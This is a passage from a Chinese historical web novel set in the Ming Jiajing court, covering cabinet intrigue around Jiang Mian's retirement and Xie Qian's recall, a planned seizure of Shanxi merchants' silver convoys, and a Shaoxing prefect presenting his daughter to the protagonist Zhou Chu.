自古以来,无论是皇帝口中的百姓,亦或是百官口中的百姓,说的其实都是一种人,文人士大夫阶层,地主阶层。 真正的底层百姓,从来都是被交易的筹码。 像唐朝安史之乱后,大唐为了请回纥出兵帮忙平叛,给出的条件就是让回纥兵在长安劫掠三日。 事后大唐觉得让回纥劫掠长安不太像话,毕竟是国都,于是换了条件,让他们去劫掠洛阳,回纥人倒也无所谓,抢哪里不是抢? 这样的事还发生了不止一次,即便是大唐名将郭子仪,都觉得这么做没什么问题,从未真正的为底层百姓想过。 这也无怪乎他们会这么想,自古以来,真正底层的百姓只要能活得下去,怎么都可以,即便是活不下去了,造反了,也很难成气候。 像陈胜吴广,亦或是黄巾军起义,看似声势浩大,实则一盘散沙,而且毫无军纪可言。 统治者永远只需要在乎能对他们的位置造成威胁的那批人的态度,造不成威胁的,自然无需太过在意。 而周楚,就是要让这些书院的学子认识到,什么人才是大明的百姓,不是那些商人,也不是那些士绅阶层,真正的百姓是普罗大众,是大明最底层的农民。 书院之中,原本还在担忧的唐伯虎收到周楚的信之后,一颗悬着的心终于放了下来。 唐伯虎拎着一壶酒,来到了王阳明的住处。 “伯安,陪我喝两杯,你喝茶就行。” 唐伯虎嘴里哼着青楼小调,显然心情很不错。 “好。” 看到唐伯虎恢复了往日的风采,王阳明自然也很高兴,这些天王阳明虽然也很担心周楚的安危,但也不至于像唐伯虎一般茶不思饭不想。 两人的性格不同,王阳明偏理性,而唐伯虎则是感性居多。 周楚看着睡醒的云瑾,直到云瑾被看的有些不自在了。 “哥,我脸上有花吗?” 云瑾有些局促道。 “你是私自调兵过来的?” 周楚看着云瑾道。 云瑾听到这话,顿时意识到了什么,神情有些慌乱。 “当时我知道你被刺杀的消息,脑子里装不下其他的了,大不了二哥大婚的时候,我回京上交兵权,再也不领兵了,陛下要怎么处置,我也都认了。” 云瑾低头道。 她在外面无论如何威风,如何杀气凛然,在周楚面前,还是那个长不大的小女孩。 周楚听到这话,点了点头。 “如此也好,如今大明的海军已经稳定了,至于玄武军,估计陛下会让他们来保护我,你这两年在海上风吹日晒的,也该休息一段时间了,不过也只是休息一段时间,到时候往西扩展航道,甚至海战,陛下肯定会第一时间想到你。” 周楚言语之间已经为云瑾规划好了未来要走的路。 “回京之后你主动上交兵权,如果陛下不允,你就闹一闹,你现在还是个小姑娘,可以在陛下面前适当的闹一闹,如此一来,也能降低陛下对你的戒心。” 周楚笑道。 再怎么说,杨氏都是嘉靖的奶娘,云瑾都算得上是嘉靖的妹妹了,嘉靖自然不会真的猜忌云瑾。 更何况这次事出有因,云瑾不过是个小姑娘,一时之间急昏了头,也是可以理解的。 不过周楚给嘉靖去的奏疏之中,却一句都没有替云瑾说话,甚至还有意让嘉靖严办云瑾。 宽容的事,皇帝可以做,但周楚作为臣子,而且云瑾还是周楚一手安排的,两人的关系嘉靖是清楚的,这个时候周楚越是替云瑾说话,反而越不好。 相反,周楚让嘉靖严办云瑾,嘉靖反而没了忌惮之心,顺带着对云瑾展示一下皇帝的宽容和格局,这才是最好的局面。 “都听二哥的。” 对于周楚的安排,云瑾自然是没有任何意见的。 她一直都叫周楚二哥,同时还叫陆炜二哥,是有着自己的小心思的,因为一旦叫了陆炜三哥,就等于变相承认周楚是他爹娘的义子了,这不是云瑾希望看到的。 而杨氏和陆松也意识到了这个问题,所以从来都不提收周楚为义子的事,以前是想着周楚和云瑾未来或许能走到一起,后来周楚的身份不一样了,更不能提了。 此时的云瑾已经将盔甲脱了,身上穿着的是常服,整个人显得异常的灵动活泼。 一旁的玄武军士兵都看得目瞪口呆,在他们的印象之中,统领从来都是不苟言笑的,多看他们一眼他们都觉得头皮发麻,何曾见过统领这般模样。 他们心中涌起一种熟人在自己面前装小女人的无力感,却又不敢拆穿。 他们却不知道,眼前的云瑾才是真实的她,军营之中则是刻意装出来的。 “你们出去吧。” 周楚对玄武军士兵挥了挥手道。 毕竟云瑾这般模样有损她在玄武军之中的威严。 第239章 杨一清的谋划,抬夏言入阁 如今内阁之中,除了杨一清和杨慎之外,还有另外三人,费宏和蒋冕毛纪,其中费宏和蒋冕都是能臣,其中蒋冕自从嘉靖登基以来,多次请求致仕,想要告老还乡,却都被嘉靖驳了回来。 杨一清经过深思熟虑之后,为了稳妥起见,也为了杨家未来着想,决定还是不折腾了。 毕竟到了他这个位置,再折腾下去,收益不大,风险却是极高的,如今的形势和正德年间可完全不同,正德年间整个皇宫之中的宫女都是百官的人。 现在的皇宫,不说铁板一块,但想要安插进去人,难如登天。 皇帝气候已成,即便没有周楚,也不是他杨一清可以乱来的。 杨一清看的清楚,如今的这个皇上,虽然年轻,但无论是心智还是手腕,却是一样都不差,只不过之前很多事都被周楚办了,皇帝也只是顺势而为,没有刻意凸显他的能力。 但杨一清眼光何其老道,自然将嘉靖的一言一行都看在眼里,他很清楚,如今的皇帝已经不是他能掌控的了。 这才是杨一清摆烂的根本原因。 夏言让他去打头阵,算盘倒是打的挺响,但杨一清又不是年轻人,被人举了几个例子,头脑一热就不管不顾了。 你夏言想折腾,何必让我来?我想办法把你抬入内阁,岂不是更方便?如此一来,任你如何折腾,我就管不了了。 如此一来,内阁之中的毛纪本就是杨廷和和夏言这边的人,再把夏言抬入内阁,内阁之中江南的声音瞬间就大了起来。 想明白这些,杨一清顿觉天地之宽,大有可为。 如今的杨一清没了以前的雄心壮志,更何况他还把自己的一个孙子送到了周楚办的书院,无论出于哪方面考虑,杨一清都没有再瞎折腾的理由。 “备轿,去蒋敬之府上。” 杨一清看向管家道。 蒋敬之不是别人,正是蒋冕。 以杨一清的身份,去蒋冕府上,自然不用递拜帖,只需要让人提前传个话就行。 蒋冕得知杨一清要来,整理了一下衣衫,让下人准备了些糕点和茶水。 “首辅大人大驾光临,在下有失远迎。” 蒋冕看到杨一清之后,客气道。 他和杨一清算不上很熟,也算不上不熟,毕竟同朝为官多年。 “敬之何必如此客套,老夫来找你,是帮你排忧解难来了。” 杨一清拉住蒋冕的手,说道。 这让蒋冕很不自在,他一向都是清冷的性格,突然被人这么热情对待,自然是有些不适应。 “首辅大人可否明言?” 蒋冕有些不解道。 “敬之你不是一直想要致仕而不得吗?” 杨一清和蒋冕来到正厅之后,他接过茶水喝了一口道。 蒋冕听到这话,眼睛顿时亮了。 他请求致仕并非在做样子,而是真的想告老还乡,他如今已经年过六十,又没有杨一清夏言这些人的野心,做官做到现在这个地步,已经是到顶了。 真要让他更进一步,成为内阁首辅,他没那个心气,也没有掌握全局的能力。 所以致仕,功成身退,对他而言是最好的选择,如此一来,就能给自己留足体面,致仕之后回乡做个富家翁,逍遥自在,岂不美哉? “首辅大人的意思是?” 蒋冕迟疑道。 “明日早朝,敬之再次向陛下请辞,到时候老夫联合其他官员为你说话,这件事多半就能成了。” 杨一清笑道。 蒋冕听到这话,心中愈发疑惑,对于杨一清的性格他还是清楚的,说无利不起早或许不太恰当,但也是个不见兔子不撒鹰主。 像之前礼仪之争,前任首辅杨廷和落入下风之后,这位首辅才看准了时机,站了出来。 这种人如果说为了他,蒋冕要是信了,这几十年的宦海生涯那就是白混了。 “首辅大人这么做是为了什么?” 蒋冕也不来虚的,直接问出了心中的疑惑。 到了他这个地步,已经不太在乎官场上的这些阿谀奉承了,左右不过是致仕,自然也没必要去逢迎杨一清。 更合理他本身也不是喜欢拍马逢迎的性子。 对于蒋冕的性格,杨一清倒是清楚,所以蒋冕问的这么直接,杨一清并不怎么意外。 “敬之应该也得到了风声,周衡器被刺杀,下落不明。” 杨一清拿起一块糕点,吃了一口道。 “首辅大人的意思是,周大人下落不明,有些人起了心思?” 蒋冕一点就透,瞬间明白了杨一清的话外之意。 “没错,虽说内阁阁员人数不是固定的,再多一个也无妨,但倘若敬之你退了,其他人进的机会就会大大增加,你应该明白老朽的意思吧?” 杨一清吃了两口糕点,觉得甚合口味,又拿起了一块。 “你这个糕点是自家做的,还是在哪买的?口味清淡,你我这个年纪,就喜欢清淡一些的。” 杨一清不吝夸赞道。 “这是下官的内人做的,大人若是喜欢,回头我让内人多做一些,给大人送到府上。” 蒋冕说道。 “那感情好,就这么说定了,也算是老朽占了你些便宜。” 杨一清笑道。 “至于致仕一事,敬之你自行考量,老朽也不过是顺水推舟罢了,有人想让我去折腾,我这把年纪了,还折腾什么?他们愿意折腾,就让他们去折腾吧。” 杨一清满脸无所谓道。 蒋冕听到这话,有些无奈,杨一清既然来找自己了,自己自然没有拒绝的资格。 他可以致仕,可以告老还乡,但他蒋家可还有人在朝为官,更何况以后他们蒋家的子弟也都是要走科举入仕的。 朝中的关系,本就盘根错节,你中有我,我中有你。 他蒋冕可以清高,却不能替他儿子孙子清高,他很清楚,自己如果不答应,蒋家的后人以后的仕途基本就断了。 不过蒋冕倒也没那么难以接受,他和杨一清的看法基本相同,即便这些人再怎么折腾,恐怕也只是在做无用功,如今皇帝气候已成,再无人能动摇其根本。 “那下官就多谢首辅大人相助了。” 蒋冕行礼道。 第240章 嘉靖的演技,内阁的变动 次日早朝,蒋冕直接站了出来。 “陛下,臣自感年岁已大,身体每况愈下,想要告老还乡。” 蒋冕言辞恳切道。 嘉靖听到这话,顿觉头疼,自从他登基以来,蒋冕已经数次请辞,之前都被他直接拒绝了,没想到现在又提了。 嘉靖还没说话,内阁成员毛纪站了出来。 “陛下,蒋大人的身子骨确实不太好,臣等明白陛下对蒋大人的心意,君臣相宜,想必蒋大人也是明白的,只是为了蒋大人也到了颐养天年的年纪了。” 毛纪作为内阁成员,一直以来都是江南派系的代表,不过自从杨廷和被扳倒之后,杨慎和他又不是一路人,毛纪就低调了很多,平日里能不发表意见尽量不发表意见。 不过蒋冕致仕这件事,杨一清是知会过他的,也知会过夏言。 夏言自然明白杨一清将自己抬入内阁打的是什么心思,无非是年纪大了,胆子小了,想要安稳落地罢了。 就算是毛纪,如今也已经年过六十,以如今朝堂的局势,毛纪的野心也没那么大了,毕竟年龄在这里摆着呢。 但夏言不同,他才四十多,他的宦海生涯还有很长的路要走,在官场上,你不去主动争取,回头就会被别人排挤,会被背后的利益集团换掉。 正所谓逆水行舟不进则退,如今夏言和毛纪是整个江南士绅集团的代言人,毛纪在内阁没多大话语权,也没有多少野心了,不过如果将夏言抬入内阁,那就另当别论了。 如果贸然将夏言抬入内阁,皇帝是不太可能同意的,毕竟内阁成员江南的突然出现两位,虽然仍旧平衡,但以嘉靖之前那么对付江南来看,杨一清觉得皇帝不会轻易放夏言入阁。 所以才需要蒋冕致仕,给夏言腾出位置来。 一出一进,蒋冕出去了,按理来说自然要有人补进内阁,顺理成章。 如今的朝堂,有资格入阁的就那么几个,韩玠根基尚浅,而且才成为礼部尚书没多久,自然是没资格入阁的。 户部和兵部的尚书年岁也都大了,对入阁早已没了什么念想,想的和蒋冕差不多,面对如今波谲云诡的朝局,新皇登基的这几年,往往是很多老臣思退的时候。 “臣等知道陛下舍不得蒋敬之,不过天下无不散之筵席,蒋敬之确实年岁已大。” 杨一清也出列道。 嘉靖看到这两人说出这话,眉毛一挑,差点没直接开口喷他俩。 你俩还好意思说蒋敬之年岁大?你们也不看看你们哪一个比他小了?怎么不告老还乡? 不过这话也就在脑子里过了一遍,嘉靖并没有说出来,杨一清和毛纪都出来说这话了,那么这件事怎么都透露着不寻常。 看来衡器说的没错,只要他一出事,有些人就要忍不住冒头了。 既然如此,那就静观其变。 嘉靖打定心思之后,看向了蒋冕。 “敬之,朕是真舍不得你离开朝堂,你的本事朕是知道的,朝中很多事都离不开你。” 嘉靖满脸痛心道。 蒋冕听到这话,心中很是感动,且不论这话是真是假,即便是假的,也不是所有臣子都值得皇帝这么说的。 “陛下对臣之心,臣早已知晓,只是首辅大人说得对,这天下无不散之筵席,臣年岁已大,陛下春秋鼎盛,你我君臣终究是要分离的。” 蒋冕说这话的时候,眼泪很自然地就流了出来。 这倒也不是演戏,毕竟蒋冕在朝为官数十年,如今要离开了,皇帝对自己又是百般挽留,蒋冕心有所感,没有刻意去控制情绪,在合适的时候流一些眼泪,将来也会留下一对君臣佳话。 蒋冕是发自内心的,但朝堂上的其他官员可都是演技派,一个个看蒋冕泪流满面,也跟着满脸感动的样子,似乎都被眼前这一幕君臣相宜的画面感动到了。 毛纪和夏言等人更是双眼发红。 “哎!敬之你既然去意已决,朕再强留,倒是显得朕不体恤你了,如此,罢了!罢了!” 嘉靖也是演技派,说这话的时候一脸的无奈和伤感。 “臣多谢陛下隆恩。” 蒋冕行了个大礼道。 “陛下,蒋大人致仕,他的缺得有人补上,不然很多事都会没人去做。” 还没等众人感动完,毛纪直接出列道。 “哦?维之以为谁补敬之的缺合适?” 嘉靖看着毛纪,问道。 毛纪字维之。 “臣倒是有一个人选,再合适不过,谢迁谢于乔,以前因为刘瑾被牵连,让他再次入阁,再合适不过。” 毛纪并没有举荐夏言,夏言也不想在此时入阁,他很清楚杨一清打的什么主意,所以和毛纪早就商议好了,举荐谢迁官复原职。 有什么事让谢迁在前面顶着,夏言在后面出谋划策,如此一来,他夏言进可攻退可守,一旦入阁,发生了什么事,就不可挽回了。 谢迁七十多岁了,即便再次入阁也只是发挥一下余热,为夏言他们铺铺路,做点事,对夏言和毛纪而言百利而无一害。 谢迁如今已七十有二,比杨一清年纪还大不少,同样是浙江余姚人,王阳明的老乡,却是正儿八经的江南派系的官员。 蒋冕刚六十出头,请求致仕,致仕的理由是年岁大了,结果毛纪转头举荐谢迁这个七十多岁的,这事怎么看怎么荒唐。 偏偏朝堂上的事,还真就这么荒唐,大家都是装糊涂的高手,谁也不会去说这件事,谁说了,就会成为众矢之的。 杨一清听到这话,有些意外,举荐谢迁是他没想到的,看来夏言比他想的要聪明的多,对局势看的也清楚,这个时候贸然入阁,绝不是什么好选择。 他杨一清想要平稳落地,夏言追求的是平步青云,但平步青云背后往往跟随的是万丈深渊,所以夏言很谨慎,他有的是时间,自然不急于这一时半刻。 既然他们决定了举荐谢迁,杨一清自然乐的顺水推舟。 “臣也以为谢迁合适,他很熟悉内阁的事物,让他先顶上敬之的缺,干两年,再另寻良臣。” 杨一清说道。 “用修,你以为如何?” 嘉靖看向没说话的杨慎,问道。 现在的嘉靖上朝,都习惯了问杨慎的意见。 “臣也觉得木斋先生合适,他以前在内阁任事多年,对内阁的事物很熟悉,虽然年岁大了些,不过再干几年应该没什么问题。” 杨慎说这话的时候,略带嘲讽,特意说了谢迁年岁大,不过也只是过过嘴瘾罢了,并没有反对的意思。 “既如此,传旨,着谢于乔入京复职。” 嘉靖拍板道。 第241章 张家村的大人物,绍兴知府董瑞的盘算 张家村出现了一个大人物,还是个十七八岁的公子的消息不胫而走。 也不知道是有心人刻意为之,还是无意之间传播的,不过这也是在所难免的,毕竟之前张鹏等人被玄武军的人杀了,这些人在绍兴城内虽然不受大多数人待见,但还是有一些狐朋狗友的。 张鹏等人的消失自然引起了很多人的注意,有不少人前来张家村查看,都被玄武军拦在了村外。 看到张家村居然有军队驻守,所有人都意识到了一个问题,张家村之中来了大人物,于是张家村周围的人慢慢多了起来。 有人偶然看到了周楚,根据周楚的穿着和气质,断定了张家村的大人物应该就是这个年轻人。 于是张家村之中有个十七八岁的大人物的消息不胫而走。 绍兴府知府董瑞得知这个消息之后,心中漏跳了一拍,十七八岁,大人物,还有军队驻守。 董瑞将这些信息综合了一下,张家村之中那个年轻人的身份已经呼之欲出了,恐怕正是前段时间因为被刺杀下落不明的锦衣卫指挥使周楚。 周楚在余姚被刺杀,绍兴府距离余姚不过百十里,周楚被刺杀之后的第一时间,董瑞就接到了上面发下来的命令,让他全力搜寻锦衣卫指挥使周楚的下落。 至于找到周楚之后该如何做,上面没说,董瑞也乐的装糊涂,干脆不问,找也是派人象征性的找了,但并没有真的放在心上。 董瑞身为绍兴知府,实际上并非江南集团的人,也没有站队结党,只是一个糊涂官,只管捞钱,上面安排的是能糊弄就糊弄过去。 他很清楚,周楚这等身份通天的大佬,不被他找到还好,真要是被他找到了,万一上面的人让自己弄死这位锦衣卫指挥使,自己岂不是坐蜡了? 锦衣卫指挥使啊,去年在整个江南掀起腥风血雨的大佬,吹口气都能把他弄死,所以董瑞很聪明,他也不指望找到周楚立下什么功劳,只希望周楚有自保能力之前,不要被自己发现就好。 他只想安安静静的捞钱,虽说他贪钱可能会被周楚查办,但如果让他去弄死锦衣卫指挥使,再给他十个胆子他也不敢。 董瑞对自己的有着很清晰的认知,他贪是贪了点,但顶多是个糊涂官,很少做那些助纣为虐的事,也很少做天怒人怨的事,没为百姓做什么实事,却也没迫害百姓。 就算他被锦衣卫查办了,顶多就是个流放的罪名,还不会牵扯到家人。 但如果他敢对周楚下手的话,一旦被查到,那乐子可就大了。 现在周楚出现在张家村,让董瑞松了口气,虽然周楚出现在绍兴城外让他有些意外,但张家村外的那些军队说明了此时的周楚已经不是他能动得了的了。 这对董瑞而言是个好消息。 不过是不是周楚,董瑞还得去确认一下,于情于理,他作为绍兴府的知府,知道周楚这个锦衣卫指挥使在附近,不去拜访怎么都说不过去。 “将我那套青色云纹的常服拿出来,我要去张家村走一趟。” 董瑞回到家中,看着自己的夫人说道。 董瑞很聪明,他如果穿着官服去拜访的话,势必会引起很多人的注意,周楚的下落也就会被很多有心人得知。 虽然现在也基本瞒不住了,毕竟董瑞都能猜到,其他人或多或少都能猜到一些。 但周楚主动暴露可以,却不能因为自己引起太多人的注意。 一旁董瑞的女儿董舒儿听到这话,眼睛顿时亮了。 “爹你是不是知道张家村那位公子的身份了?” 张家村的消息不止传到了董瑞耳中,也传到了董瑞妻女的耳中,董舒儿对张家村这个十七八岁的公子哥充满了好奇心。 听说整个张家村外驻扎了至少一千多全甲士兵,这种规制的保护力量,张家村之中的绝不是一般的大人物。 董舒儿如今刚满十五岁,对绍兴城内的那些个公子哥提不起什么兴趣,她一直想找机会攀高枝,甚至受话本的影响,董舒儿觉着以自己的条件,哪天能遇到一个大人物,把自己带到京城去,一步登天,也不是不可能。 “目前来看,很可能是锦衣卫指挥使周大人。” 董瑞从自己夫人手中接过袍服,在下人的伺候下,一边换衣服,一边说道。 “锦衣卫指挥使,周大人?” 董舒儿听到这话,眼睛顿时亮了,这一年的时间,董舒儿听到周楚的名字不知道多少次了,周楚在苏州府乃至整个江南做的事,不说人尽皆知,但像董舒儿这种高门贵女肯定是知道很多的。 毕竟董瑞作为绍兴府的知府,去年一年一直提心吊胆的,生怕自己被周楚清算。 此时突然得知张家村的大人物居然就是周楚的时候,董舒儿很兴奋,前所未有的兴奋,纵观整个江南,甚至纵观整个大明,论青年才俊,还有谁比得上这位只手遮天的锦衣卫指挥使周楚,周大人。 这才是自己将来的如意郎君,自己要是能和周楚成亲,不只是锦衣卫指挥使的夫人,还是未来的侯府主母。 周楚被封侯的消息其他人或许不知道,但是董瑞以及其他关注周楚的江南官员都是知道的,董瑞不止一次在董舒儿面前提起此事。 十七八岁的侯爷,还是锦衣卫指挥使,位极人臣,只手遮天,每一样都对董舒儿充满了致命的诱惑力。 “爹,我和你一起去张家村。” 董舒儿意识到这是自己的机会,一旦错过了这个机会,自己将后悔终生。 “你去干什么?” 董瑞满脸疑惑道。 “爹,周大人十七八岁,未曾婚配,也未曾听闻他和哪家小姐有婚约在身,为什么不能是我呢?” 董舒儿直接说出了自己的想法。 董舒儿这话一出,一旁董瑞的夫人,董舒儿的娘眼睛也亮了。 “没错,如今周大人在张家村,恐怕还在养伤,咱们家舒儿如果能在周大人身旁照料着他,两人很有可能走到一起,这样的话对老爷你的仕途帮助可就大了。” 董瑞的夫人李氏分析道。 董瑞听到这话,眼睛也亮了,他本身就没什么本事,是个糊涂官,但不代表他不想往上爬,倘若能攀上周楚这棵大树,那他未来的仕途可以说是一片坦途。 他可是听说,那张璁才入仕不久,严嵩也是重回朝堂才两三年,这两人就是因为抱紧了周楚这棵大树,虽然严嵩因为刺杀的事被暂时下狱了,但董瑞清楚,他官复原职不过是迟早的事。 张璁更不必说了,现在是南直隶的巡抚,还兼了江南省的事务,可谓权势滔天。 自己的女儿要是能和周大人成婚,自己未尝不能成为像严嵩和张璁这等封疆大吏。 一想到这里,董瑞就感觉热血沸腾。 “那你就跟爹一起去见周大人吧。” 第242章 后悔的晋商,周楚的安排 “大人,那些山西人的运银车今晚经过绍兴城外。” 陈昭来到周楚面前,恭敬道。 陈昭刚到没多久,主要是向周楚汇报山西人的运银车的问题,那些山西商人安排人在大明各地通兑,江南自然也安排了一处,金额同样是两千万两。 “先让人盯着,等他们离绍兴远一些再动手。” 周楚冷笑道。 既然这些山西商人不知死活,和皇家钱庄搞通兑,那自己就没什么好客气的了。 周楚甚至都懒得遮掩,不然的话,第一时间将消息散播出去,肯定有人见财起意,如此一来局势就乱了,也就不会有人注意到是谁动的手了。 周楚不想遮掩,这些山西商人既然敢对皇家钱庄动手,那就要准备好承受朝廷的雷霆之怒,没有明面上法办他们,已经是给他们留足了面子了。 实际上不只是这里,其他几处的山西运银车队都遭到了抢劫,不过其他地方和这里不同,基本什么人都有参与。 这次山西人的这一万万两白银能收回去一半,就已经烧高香了。 按理说其他地方的白银被抢,江南的应该谨慎一些,但那些晋商没办法,因为江南不是他们的地盘,两千万两白银放在这里,无异于放在虎口之中,时间越久,出问题的几率就越大。 此时的晋商无比后悔,他们原本是想将皇家钱庄挤的开不下去,没想到吃不到狐狸惹一身骚,他们怎么都想不明白,皇家钱庄哪里来的这么多的白银。 别的不说,光他们通兑的这五家,每一家都有至少两千万两白银,有可能从临近的府调取的,但即便如此,每个州府的皇家钱庄至少也得有七八百万两白银。 大明的周府何止上百,也就是说皇家钱庄的存银至少有七万万两,甚至更多。 得出这个结论的时候,那些晋商忍不住头皮发麻,他们搞不明白皇室哪来的这么多白银。 周楚之前在江南折腾了一番,他们是知道的,但很多内幕他们并不清楚,再加上从东瀛源源不断运过来的白银。 实际上皇家钱庄的存银没那么多,满打满算五万万两顶天了,只不过将每个省的重点州府多放了一些,如此一来,足以应付任何突发状况。 “属下这就去安排。” 陈昭听到这话,顿时来了精神。 为了确保陈昭此次行动的成功,周楚直接将一千玄武军调拨给了他,不过这一千玄武军的指挥权并不在他,而是玄武军的一个千总。 论行军打仗,陈昭是不行的,让他指挥,那完全是外行指挥内行,再强的战力也发挥不出来。 更何况这次玄武军是扮演山匪,自然不能带全甲,即便如此,对付那些押送运银车的乌合之众绰绰有余了。 “大人,村外有人求见,自称是绍兴府知府董瑞。” 玄武军的一个百户来到周楚面前,恭敬道。 “绍兴知府?带他过来吧。” 周楚无所谓道。 绍兴知府的求见,周楚并不意外,毕竟现在玄武军都在张家村这里,想不引起其他人注意都难,绍兴知府能猜出自己的身份,也在情理之中。 “二哥,这绍兴知府是哪边的人?” 一旁的云瑾问道。 “不好说,说他是江南一系的人吧,但是根据锦衣卫调查的结果来看,这人对江南那些官员安排的事情也不怎么上心,似乎只喜欢捞钱,但也没做什么天怒人怨的事,就暂时没动他。” 周楚想了想,自己之前在苏州的时候,还真看过这个董瑞的卷宗。 这样一个知府,换与不换都行,不过拿掉董瑞,保不齐会换上来一个江南一系的官员,毕竟在任的官员就那么多,董瑞下去了,自然会有人顶上。 想要将所有的职务都安排成自己的人,显然不现实,那样的话有结党营私的嫌疑,一旦自己提拔上来的人过多,周党成了朝中最大的势力,那么自己也就成了皇帝的眼中钉肉中刺了。 所以周楚只管查处官员,从不轻易举荐官员。 原本还有些忐忑的董瑞,听到周楚愿意见自己之后,心中很是高兴,他身后跟着的董舒儿更是无比兴奋,心里想着见到这位传说中的周大人之后,该如何把他拿下,只要自己成了周夫人,那以后别说是江南,就是整个大明,任何人都得看自己的脸色。 一想到这里,董舒儿就兴奋地发抖。 董瑞跟着在玄武军百户的带领下,来到了周楚面前。 “阁下可是周楚周大人当面?” 董瑞看到周楚后,有些忐忑道。 他没见过周楚,去年周楚在苏州的时候,他作为绍兴府知府,躲着周楚还来不及呢,即便是有人叫他去苏州府那边商议要事,也都被他以各种借口推辞了。 反正上面安排下来的事情他能糊弄就糊弄,糊弄不了就去做。 但人是坚决不会离开绍兴府的。 “怎么?你没见过本官?本官记得去年你们这些江南的官员可没少聚集在一起商议如何对付本官。” 周楚似笑非笑道。 虽然周楚整个人都很松弛,但说出的话却是让董瑞脊背发寒。 “大人冤枉啊,去年一年下官都没离开过绍兴府,有人叫我也从没去过。” 董瑞急忙解释道。 一旁的董舒儿看到周楚,眼睛直接就挪不开了,她听说过周大人丰神俊逸,却没想到如此仪表不凡,只是一句话就让自己的父亲如此害怕,这种男人,才是她董舒儿想要的。 “你倒是机灵,两边都不想得罪?” 周楚看着眼前的董瑞,饶有兴致道。 至于一旁的董舒儿,周楚甚至都没注意到。 “周大人这是说的哪里的话?下官是朝廷的官员,是陛下的臣子,要说效命,也只为朝廷效命,要说站队,也只站在陛下这边。” 董瑞急忙保证道。 “你来找本官,所为何事?” 周楚懒得听董瑞说这些狗屁场面话,不耐烦道。 “大人出现在这里,下官作为绍兴府的知府,岂能装聋作哑,自然要前来拜见,下官听闻大人被刺杀似乎受伤颇重,这是下官的女儿,叫董舒儿,就让她留在大人身边,端茶倒水伺候着,也是下官的一片心意。” 董瑞殷勤道。 周楚听到这话,才注意到一旁的董舒儿,搭眼看去,只见董舒儿一脸含羞带怯地看着自己。 不过周楚是何许人也,只看了一眼董舒儿的面相,就能看出眼前这个女人性格乖张,心中全是算计。 “舒儿见过大人。” 董舒儿作揖道。 第243章 云瑾:那就留下吧 “不太合适吧,董小姐怎么说也是知府千金,待在本官身边算怎么回事?如此一来,岂不是坏了她的名声?” 周楚说道。 这个董舒儿打的什么心思,不只是周楚能一眼看出来,一旁的云瑾也能看出来,无非是想攀高枝罢了,这种事很寻常。 有些官家女子为了攀高枝,身段会放的很低,有的是为自己博一个身份,有的则是为了自己的家人博一个前程。 失败了也没什么关系,像这种事,没什么人会大肆宣扬,不会有什么人知道,到时候再找个差不多的门楣嫁了,并不会有太多影响。 可以说是进可攻退可守,无论如何都不会太差。 “大人不必担心,能侍奉在大人身旁,是小女的荣幸。” 董舒儿有些急切道。 此时的董舒儿生怕周楚不想把她留在身边,只要能留下来,董舒儿觉得凭借着自己的手段,一定能拿下周楚这位锦衣卫指挥使。 “是啊大人,能侍奉大人,是小女的荣幸。” 董瑞也表态道。 “那便留下吧,二哥身旁确实需要一个伺候的人。” 周楚刚想拒绝,一旁的云瑾直接让董舒儿留下了。 云瑾之所以让董舒儿留下,一方面周楚身边确实需要一个贴身伺候的人,无论是换药还是什么,这些云瑾来做都不太合适,毕竟男女有别,即便在云瑾的打算中两人将来要大婚,但什么事该做,什么事不该做,她还是分得清的。 另一方面,这张家村之中和周楚在一起的日子虽然甜蜜,却也有些平淡了,多一个董舒儿,也算是多了个乐子。 既然她都不怕坏了自己的名声,那就让她留在这里,给自己和二哥添一丝乐趣。 最根本的原因还是,在云瑾眼中,像董舒儿这等将算计写在脸上的女人,愚不可及,对自己毫无威胁,倘若换成楚璃的话,云瑾是不会同意的。 春兰也只是得到了周楚还活着的消息,并不清楚周楚的具体位置,周楚打算过段时间再让春兰过来,毕竟现在的张家村住不下这么多人,玄武军直接在张家村之外就地驻扎。 周楚给了村长张老五一些钱,让他找人扩建了很多房屋,倒也不用多豪华,就和普通的村民宅子差不多就行。 这些新建的房屋,是为海瑞等人准备的,接下来对海瑞这些人的教学,周楚准备在张家村展开。 听到云瑾这么说,周楚有些无奈的看了云瑾一眼,倒也没反对,毕竟自己身边确实需要一个人伺候,既然有人上赶着,何乐而不为? “这位是?” 董瑞刚一进来就注意到了云瑾,只是云瑾一直都没说话,他也不好问。 “我叫陆婉儿,也叫陆云瑾,我爹是锦衣卫千户陆松,我哥是锦衣卫同知陆炳。” 云瑾开口道。 云瑾自己的身份,玄武军统领,目前还处于保密阶段,而且就算不保密,眼前这两人也不知道玄武军是一支什么样的军队,既然是介绍自己,就要让人知道自己的身份,拿出陆炳和陆松的身份来介绍最合适不过。 特别是陆炳,不论是因为他和皇帝的关系,还是和周楚的关系,都让他在整个大明被很多人熟知,其中就包括董瑞父女。 董瑞听到这话,心中一惊,他自然是知道陆家和周楚的关系的。 “下官见过陆小姐。” 董瑞急忙行礼道。 倒是董舒儿,此时知道云瑾的身份,虽然心惊,却觉得云瑾很是碍眼。 她也知道周楚和陆家的关系,更是知道周楚和陆家的千金情同兄妹,但毕竟不是亲兄妹,未来成亲是极有可能的,一想到这里,董舒儿心中顿时警铃大作,看向云瑾的目光之中充满了忌惮。 “如此,下官就告辞了。” 董瑞眼看目的达到了,说道。 周楚听到这话,摆了摆手,示意他可以离开了。 董瑞心满意足地坐着轿子离开了张家村,刚回到自家门口,就看到了一个熟人。 “这不是彦之吗?” 眼前这人正是董瑞的一个同僚,李文昌,字彦之,一个从三品的文官,比董瑞低了一级。 “董大人,巧了不是,我正是来找您的,前两日给您递了拜帖,您可能太忙了没看到,这就厚着脸皮来了。” 董瑞听到这话,心中有些不悦,心想我没回你的拜帖就是不想见你,脸皮确实够厚的。 不过面上却是满脸笑容。 “彦之前来所为何事?” 董瑞一边说着,一边将李文昌让进了董府之中。 来到正厅,两人坐定之后,李文昌这才说明来意。 “董大人有所不知,自从前两个月元宵节,您府上举办了灯会之后,犬子远远地一睹贵千金真容,自此茶不思饭不想,非要下官来跟大人求一门亲事,下官也是没办法了,才厚着脸皮来找大人。” 董瑞听到这话,愈发不高兴了,自己的女儿千金之躯,要样貌有样貌,知书达理,名声甚佳,岂是你儿子可以肖想的。 更何况现在董舒儿刚到周楚身边,董瑞更没有同意的理由了。 “彦之,不是我不想答应你,实在是我家这位主意大了些,我也做不了她的主,之前倒是想替她说一门亲事,但她却不想,左右才十五岁,倒也不急,这样吧,你先回去,容我问一问她的意见,此事还需从长计议。” 